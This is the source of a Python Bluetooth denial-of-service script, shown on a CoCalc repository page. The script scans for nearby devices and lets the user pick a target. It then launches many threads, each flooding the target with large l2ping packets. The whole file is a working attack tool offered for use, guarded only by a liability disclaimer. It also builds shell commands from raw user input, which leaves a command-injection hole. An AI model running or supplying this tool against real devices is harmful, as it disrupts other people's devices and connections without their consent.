Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
crypt0b0y
GitHub Repository: crypt0b0y/BLUETOOTH-DOS-ATTACK-SCRIPT
Path: blob/master/Bluetooth-DOS-Attack.py
665 views
1
import os
2
import threading
3
import time
4
import subprocess
5
def DOS(target_addr, packages_size):
6
os.system('l2ping -i hci0 -s ' + str(packages_size) +' -f ' + target_addr)
7
8
def printLogo():
9
print(' Bluetooth DOS Script ')
10
def main():
11
printLogo()
12
time.sleep(0.1)
13
print('')
14
print('\x1b[31mTHIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. YOU MAY USE THIS SOFTWARE AT YOUR OWN RISK. THE USE IS COMPLETE RESPONSIBILITY OF THE END-USER. THE DEVELOPERS ASSUME NO LIABILITY AND ARE NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY THIS PROGRAM.')
15
if (input("Do you agree? (y/n) > ") in ['y', 'Y']):
16
time.sleep(0.1)
17
os.system('clear')
18
printLogo()
19
print('')
20
print("Scanning ...")
21
output = subprocess.check_output("hcitool scan", shell=True, stderr=subprocess.STDOUT, text=True)
22
lines = output.splitlines()
23
id = 0
24
del lines[0]
25
array = []
26
print("|id | mac_addres | device_name|")
27
for line in lines:
28
info = line.split()
29
mac = info[0]
30
array.append(mac)
31
print(f"|{id} | {mac} | {''.join(info[1:])}|")
32
id = id + 1
33
target_id = input('Target id or mac > ')
34
try:
35
target_addr = array[int(target_id)]
36
except:
37
target_addr = target_id
38
39
40
if len(target_addr) < 1:
41
print('[!] ERROR: Target addr is missing')
42
exit(0)
43
44
try:
45
packages_size = int(input('Packages size > '))
46
except:
47
print('[!] ERROR: Packages size must be an integer')
48
exit(0)
49
try:
50
threads_count = int(input('Threads count > '))
51
except:
52
print('[!] ERROR: Threads count must be an integer')
53
exit(0)
54
print('')
55
os.system('clear')
56
57
print("\x1b[31m[*] Starting DOS attack in 3 seconds...")
58
59
for i in range(0, 3):
60
print('[*] ' + str(3 - i))
61
time.sleep(1)
62
os.system('clear')
63
print('[*] Building threads...\n')
64
65
for i in range(0, threads_count):
66
print('[*] Built thread №' + str(i + 1))
67
threading.Thread(target=DOS, args=[str(target_addr), str(packages_size)]).start()
68
69
print('[*] Built all threads...')
70
print('[*] Starting...')
71
else:
72
print('Bip bip')
73
exit(0)
74
75
if __name__ == '__main__':
76
try:
77
os.system('clear')
78
main()
79
except KeyboardInterrupt:
80
time.sleep(0.1)
81
print('\n[*] Aborted')
82
exit(0)
83
except Exception as e:
84
time.sleep(0.1)
85
print('[!] ERROR: ' + str(e))
86
87